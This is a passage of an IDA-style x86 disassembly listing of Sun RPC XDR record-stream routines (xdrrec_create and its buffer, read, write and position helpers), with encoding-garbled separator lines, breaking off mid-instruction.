陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065524 proc near ; DATA XREF: .data:08079250o arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [eax+0Ch] sub edx, [eax+10h] mov eax, edx mov esp, ebp pop ebp retn sub_8065524 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065538 proc near ; DATA XREF: .data:08079254o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov edx, [ebp+arg_0] mov eax, [ebp+arg_4] add eax, [edx+10h] mov ecx, [edx+0Ch] add ecx, [edx+14h] cmp eax, ecx jg short loc_8065560 mov [edx+0Ch], eax sub ecx, eax mov [edx+14h], ecx mov eax, 1 mov esp, ebp pop ebp retn ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065560: ; CODE XREF: sub_8065538+14j xor eax, eax mov esp, ebp pop ebp retn sub_8065538 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065568 proc near ; DATA XREF: .data:08079258o arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_0] mov edx, [ebp+arg_4] xor ecx, ecx cmp [eax+14h], edx jl short loc_8065581 sub [eax+14h], edx mov ecx, [eax+0Ch] add [eax+0Ch], edx loc_8065581: ; CODE XREF: sub_8065568+Ej mov eax, ecx mov esp, ebp pop ebp retn sub_8065568 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065588 proc near ; CODE XREF: sub_80658B4+2Cp ; sub_806597C+50p ... var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] xor eax, eax cmp [ebp+arg_4], 1 jnz short loc_806559D mov eax, 80000000h loc_806559D: ; CODE XREF: sub_8065588+Ej mov ebx, [esi+10h] sub ebx, [esi+18h] add ebx, 0FFFFFFFCh mov edx, [esi+18h] or eax, ebx xchg al, ah ror eax, 10h xchg al, ah mov [edx], eax mov ebx, [esi+10h] sub ebx, [esi+0Ch] push ebx mov eax, [esi+0Ch] push eax mov eax, [esi] push eax mov eax, [esi+8] call eax cmp eax, ebx jnz short loc_80655E4 mov eax, [esi+0Ch] mov [esi+18h], eax mov ecx, [esi+0Ch] add ecx, 4 mov [esi+10h], ecx mov eax, 1 jmp short loc_80655E6 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80655E4: ; CODE XREF: sub_8065588+41j xor eax, eax loc_80655E6: ; CODE XREF: sub_8065588+57j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_8065588 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80655F0 proc near ; CODE XREF: sub_8065634+19p ; sub_80656E8+18p var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov eax, [esi+30h] and eax, 3 mov ebx, [esi+28h] add ebx, eax mov edx, [esi+24h] sub edx, eax mov eax, edx push eax push ebx mov eax, [esi] push eax mov eax, [esi+20h] call eax cmp eax, 0FFFFFFFFh jz short loc_8065628 mov [esi+2Ch], ebx add ebx, eax mov [esi+30h], ebx mov eax, 1 jmp short loc_806562A ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065628: ; CODE XREF: sub_80655F0+27j xor eax, eax loc_806562A: ; CODE XREF: sub_80655F0+36j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80655F0 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065634 proc near ; CODE XREF: sub_8065698+11p ; sub_8065910+44p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov esi, [ebp+arg_8] loc_8065640: ; CODE XREF: sub_8065634+23j ; sub_8065634+4Fj test esi, esi jle short loc_8065688 mov ebx, [edi+30h] sub ebx, [edi+2Ch] jnz short loc_8065660 push edi call sub_80655F0 add esp, 4 test eax, eax jnz short loc_8065640 xor eax, eax jmp short loc_806568D ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065660: ; CODE XREF: sub_8065634+16j mov eax, esi cmp esi, ebx jle short loc_8065668 mov eax, ebx loc_8065668: ; CODE XREF: sub_8065634+30j mov ebx, eax push ebx mov edx, [ebp+arg_4] push edx mov eax, [edi+2Ch] push eax call bcopy add [edi+2Ch], ebx add [ebp+arg_4], ebx sub esi, ebx add esp, 0Ch jmp short loc_8065640 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065688: ; CODE XREF: sub_8065634+Ej mov eax, 1 loc_806568D: ; CODE XREF: sub_8065634+27j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065634 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065698 proc near ; CODE XREF: sub_8065910+21p ; sub_8065B2C+2Bp ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 4 push ebx mov ebx, [ebp+arg_0] push 4 lea eax, [ebp+var_4] push eax push ebx call sub_8065634 test eax, eax jz short loc_80656DC mov eax, [ebp+var_4] xchg al, ah ror eax, 10h xchg al, ah mov [ebp+var_4], eax mov edx, eax shr edx, 1Fh mov [ebx+38h], edx mov edx, [ebp+var_4] and edx, 7FFFFFFFh mov [ebx+34h], edx mov eax, 1 jmp short loc_80656DE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80656DC: ; CODE XREF: sub_8065698+18j xor eax, eax loc_80656DE: ; CODE XREF: sub_8065698+40j mov ebx, [ebp+var_8] mov esp, ebp pop ebp retn sub_8065698 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80656E8 proc near ; CODE XREF: sub_8065B2C+11p ; sub_8065B88+11p var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [ebp+arg_4] loc_80656F3: ; CODE XREF: sub_80656E8+22j ; sub_80656E8+37j test ebx, ebx jle short loc_8065724 mov eax, [esi+30h] sub eax, [esi+2Ch] jnz short loc_8065710 push esi call sub_80655F0 add esp, 4 test eax, eax jnz short loc_80656F3 xor eax, eax jmp short loc_8065729 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065710: ; CODE XREF: sub_80656E8+15j mov edx, ebx cmp ebx, eax jle short loc_8065718 mov edx, eax loc_8065718: ; CODE XREF: sub_80656E8+2Cj mov eax, edx add [esi+2Ch], eax sub ebx, eax jmp short loc_80656F3 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065724: ; CODE XREF: sub_80656E8+Dj mov eax, 1 loc_8065729: ; CODE XREF: sub_80656E8+26j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80656E8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065734 proc near ; CODE XREF: sub_8065750+22p ; sub_8065750+2Dp arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, [ebp+arg_0] cmp eax, 63h ja short loc_8065744 mov eax, 0FA0h loc_8065744: ; CODE XREF: sub_8065734+9j add eax, 3 and al, 0FCh mov esp, ebp pop ebp retn sub_8065734 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065750 proc near ; CODE XREF: sub_8063B04+1E7p var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_8] push 44h call malloc mov ebx, eax call sub_805E954 add esp, 4 test ebx, ebx jz short loc_806579B push esi call sub_8065734 mov esi, eax mov [ebx+3Ch], esi push edi call sub_8065734 mov edi, eax mov [ebx+40h], edi lea eax, [edi+esi+4] push eax call malloc mov [ebx+4], eax add esp, 0Ch test eax, eax jnz short loc_80657C4 loc_806579B: ; CODE XREF: sub_8065750+1Fj push offset aOutOfMemory_2 ; "out of memory" push 1 push 0Ah mov eax, dword_8078F9C push eax call catgets push eax push offset aXdrrec_createS ; "xdrrec_create: %s\n" push offset unk_80787A4 call fprintf jmp short loc_806583E ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80657C4: ; CODE XREF: sub_8065750+49j mov eax, [ebx+4] mov [ebx+0Ch], eax test al, 3 jz short loc_80657D9 lea esi, [esi] loc_80657D0: ; CODE XREF: sub_8065750+87j inc dword ptr [ebx+0Ch] test byte ptr [ebx+0Ch], 3 jnz short loc_80657D0 loc_80657D9: ; CODE XREF: sub_8065750+7Cj mov edx, [ebx+0Ch] add edx, esi mov [ebx+28h], edx mov edx, [ebp+arg_0] mov dword ptr [edx+4], offset off_8079260 mov [edx+0Ch], ebx mov edx, [ebp+arg_C] mov [ebx], edx mov edx, [ebp+arg_10] mov [ebx+20h], edx mov edx, [ebp+arg_14] mov [ebx+8], edx mov eax, [ebx+0Ch] mov [ebx+14h], eax mov [ebx+10h], eax mov eax, [ebx+0Ch] mov [ebx+18h], eax add dword ptr [ebx+10h], 4 add [ebx+14h], esi mov dword ptr [ebx+1Ch], 0 mov [ebx+24h], edi mov eax, [ebx+28h] mov [ebx+30h], eax mov eax, edi add eax, [ebx+30h] mov [ebx+30h], eax mov [ebx+2Ch], eax mov dword ptr [ebx+34h], 0 mov dword ptr [ebx+38h], 1 loc_806583E: ; CODE XREF: sub_8065750+6Fj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065750 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065848 proc near ; DATA XREF: .data:08079260o var_C = byte ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 4 push esi push ebx mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov edx, [ebx+0Ch] mov ecx, [edx+2Ch] cmp dword ptr [edx+34h], 3 jbe short loc_8065884 mov eax, [edx+30h] sub eax, ecx cmp eax, 3 jbe short loc_8065884 mov eax, [ecx] xchg al, ah ror eax, 10h xchg al, ah mov [esi], eax add dword ptr [edx+34h], 0FFFFFFFCh add dword ptr [edx+2Ch], 4 jmp short loc_80658A4 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065884: ; CODE XREF: sub_8065848+18j ; sub_8065848+22j push 4 lea eax, [ebp+var_4] push eax push ebx call sub_8065910 test eax, eax jnz short loc_8065898 xor eax, eax jmp short loc_80658A9 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065898: ; CODE XREF: sub_8065848+4Aj mov eax, [ebp+var_4] xchg al, ah ror eax, 10h xchg al, ah mov [esi], eax loc_80658A4: ; CODE XREF: sub_8065848+37j mov eax, 1 loc_80658A9: ; CODE XREF: sub_8065848+4Ej lea esp, [ebp+var_C] pop ebx pop esi mov esp, ebp pop ebp retn sub_8065848 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80658B4 proc near ; DATA XREF: .data:08079264o var_8 = byte ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi push ebx mov eax, [ebp+arg_0] mov esi, [ebp+arg_4] mov ebx, [eax+0Ch] mov edx, [ebx+10h] mov eax, edx add eax, 4 mov [ebx+10h], eax cmp [ebx+14h], eax jnb short loc_80658F7 add dword ptr [ebx+10h], 0FFFFFFFCh mov dword ptr [ebx+1Ch], 1 push 0 push ebx call sub_8065588 test eax, eax jnz short loc_80658F0 xor eax, eax jmp short loc_8065907 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80658F0: ; CODE XREF: sub_80658B4+33j mov edx, [ebx+10h] add dword ptr [ebx+10h], 4 loc_80658F7: ; CODE XREF: sub_80658B4+1Cj mov eax, [esi] xchg al, ah ror eax, 10h xchg al, ah mov [edx], eax mov eax, 1 loc_8065907: ; CODE XREF: sub_80658B4+37j lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80658B4 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065910 proc near ; CODE XREF: sub_8065848+43p ; DATA XREF: .data:08079268o var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov eax, [ebp+arg_0] mov edi, [ebp+arg_8] mov esi, [eax+0Ch] loc_806591F: ; CODE XREF: sub_8065910+2Bj ; sub_8065910+58j test edi, edi jz short loc_806596C mov ebx, [esi+34h] test ebx, ebx jnz short loc_8065944 cmp dword ptr [esi+38h], 0 jnz short loc_806593D push esi call sub_8065698 add esp, 4 test eax, eax jnz short loc_806591F loc_806593D: ; CODE XREF: sub_8065910+1Ej ; sub_8065910+4Ej xor eax, eax jmp short loc_8065971 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065944: ; CODE XREF: sub_8065910+18j mov eax, ebx cmp edi, ebx jnb short loc_806594C mov eax, edi loc_806594C: ; CODE XREF: sub_8065910+38j mov ebx, eax push ebx mov edx, [ebp+arg_4] push edx push esi call sub_8065634 add esp, 0Ch test eax, eax jz short loc_806593D add [ebp+arg_4], ebx sub [esi+34h], ebx sub edi, ebx jmp short loc_806591F ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_806596C: ; CODE XREF: sub_8065910+11j mov eax, 1 loc_8065971: ; CODE XREF: sub_8065910+2Fj lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065910 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_806597C proc near ; DATA XREF: .data:0807926Co var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov eax, [ebp+arg_0] mov edi, [ebp+arg_8] mov esi, [eax+0Ch] loc_806598B: ; CODE XREF: sub_806597C+44j ; sub_806597C+5Aj test edi, edi jz short loc_80659DC mov ebx, [esi+14h] sub ebx, [esi+10h] mov eax, ebx cmp edi, ebx jnb short loc_806599D mov eax, edi loc_806599D: ; CODE XREF: sub_806597C+1Dj mov ebx, eax push ebx mov eax, [esi+10h] push eax mov edx, [ebp+arg_4] push edx call bcopy mov eax, ebx add eax, [esi+10h] mov [esi+10h], eax add [ebp+arg_4], ebx sub edi, ebx add esp, 0Ch cmp [esi+14h], eax jnz short loc_806598B mov dword ptr [esi+1Ch], 1 push 0 push esi call sub_8065588 add esp, 8 test eax, eax jnz short loc_806598B xor eax, eax jmp short loc_80659E1 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_80659DC: ; CODE XREF: sub_806597C+11j mov eax, 1 loc_80659E1: ; CODE XREF: sub_806597C+5Ej lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_806597C endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_80659EC proc near ; CODE XREF: sub_8065A40+10p ; DATA XREF: .data:08079270o var_8 = byte ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp push esi push ebx mov esi, [ebp+arg_0] mov ebx, [esi+0Ch] push 1 push 0 mov eax, [ebx] push eax call lseek mov edx, eax cmp edx, 0FFFFFFFFh jz short loc_8065A35 mov eax, [esi] test eax, eax jz short loc_8065A18 cmp eax, 1 jz short loc_8065A24 jmp short loc_8065A30 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065A18: ; CODE XREF: sub_80659EC+22j mov eax, [ebx+10h] sub eax, [ebx+0Ch] add edx, eax jmp short loc_8065A35 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065A24: ; CODE XREF: sub_80659EC+27j mov eax, [ebx+30h] sub eax, [ebx+2Ch] sub edx, eax jmp short loc_8065A35 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065A30: ; CODE XREF: sub_80659EC+29j mov edx, 0FFFFFFFFh loc_8065A35: ; CODE XREF: sub_80659EC+1Cj ; sub_80659EC+34j ... mov eax, edx lea esp, [ebp+var_8] pop ebx pop esi mov esp, ebp pop ebp retn sub_80659EC endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065A40 proc near ; DATA XREF: .data:08079274o var_C = byte ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov edi, [ebp+arg_0] mov ebx, [ebp+arg_4] mov esi, [edi+0Ch] push edi call sub_80659EC mov edx, eax sub edx, ebx cmp eax, 0FFFFFFFFh jz short loc_8065AAC mov eax, [edi] test eax, eax jz short loc_8065A6C cmp eax, 1 jz short loc_8065A88 jmp short loc_8065AAC ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 align 4 loc_8065A6C: ; CODE XREF: sub_8065A40+22j mov eax, [esi+10h] sub eax, edx cmp [esi+18h], eax jnb short loc_8065AAC cmp [esi+14h], eax jbe short loc_8065AAC mov [esi+10h], eax mov eax, 1 jmp short loc_8065AAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065A88: ; CODE XREF: sub_8065A40+27j mov eax, [esi+2Ch] sub eax, edx cmp [esi+34h], edx jle short loc_8065AAC cmp [esi+30h], eax jb short loc_8065AAC cmp [esi+28h], eax ja short loc_8065AAC mov [esi+2Ch], eax sub [esi+34h], edx mov eax, 1 jmp short loc_8065AAE ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065AAC: ; CODE XREF: sub_8065A40+1Cj ; sub_8065A40+29j ... xor eax, eax loc_8065AAE: ; CODE XREF: sub_8065A40+43j ; sub_8065A40+67j lea esp, [ebp+var_C] pop ebx pop esi pop edi mov esp, ebp pop ebp retn sub_8065A40 endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065AB8 proc near ; DATA XREF: .data:08079278o var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ecx, [ebp+arg_4] mov edx, [eax+0Ch] xor ebx, ebx mov eax, [eax] test eax, eax jz short loc_8065AD4 cmp eax, 1 jz short loc_8065AE8 jmp short loc_8065B00 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065AD4: ; CODE XREF: sub_8065AB8+13j mov eax, ecx add eax, [edx+10h] cmp [edx+14h], eax jb short loc_8065B00 mov ebx, [edx+10h] mov [edx+10h], eax jmp short loc_8065B00 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 36h ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065AE8: ; CODE XREF: sub_8065AB8+18j cmp [edx+34h], ecx jl short loc_8065B00 mov eax, ecx add eax, [edx+2Ch] cmp [edx+30h], eax jb short loc_8065B00 mov ebx, [edx+2Ch] sub [edx+34h], ecx add [edx+2Ch], ecx loc_8065B00: ; CODE XREF: sub_8065AB8+1Aj ; sub_8065AB8+24j ... mov eax, ebx mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065AB8 endp ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 db 8Dh, 76h, 0 ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065B0C proc near ; DATA XREF: .data:0807927Co var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [eax+0Ch] mov eax, [ebx+4] push eax call free push ebx call free mov ebx, [ebp+var_4] mov esp, ebp pop ebp retn sub_8065B0C endp ; 栩栩栩栩栩栩栩 S U B R O U T I N E 栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩栩 ; Attributes: bp-based frame hidden sub_8065B2C proc near ; CODE XREF: sub_8063D20+162p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ebx mov eax, [ebp+arg_0] mov ebx, [eax+0Ch] jmp short loc_8065B68 ; 陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳陳 loc_8065B38: ; CODE XREF: sub_8065B2C+40j ; sub_8065B2C+46j mov eax, [ebx+34h] push eax push ebx call sub_80656E8 add esp, 8 test eax, eax jz short loc_8065B63 mov dword ptr [ebx+34h], 0 cmp dword ptr 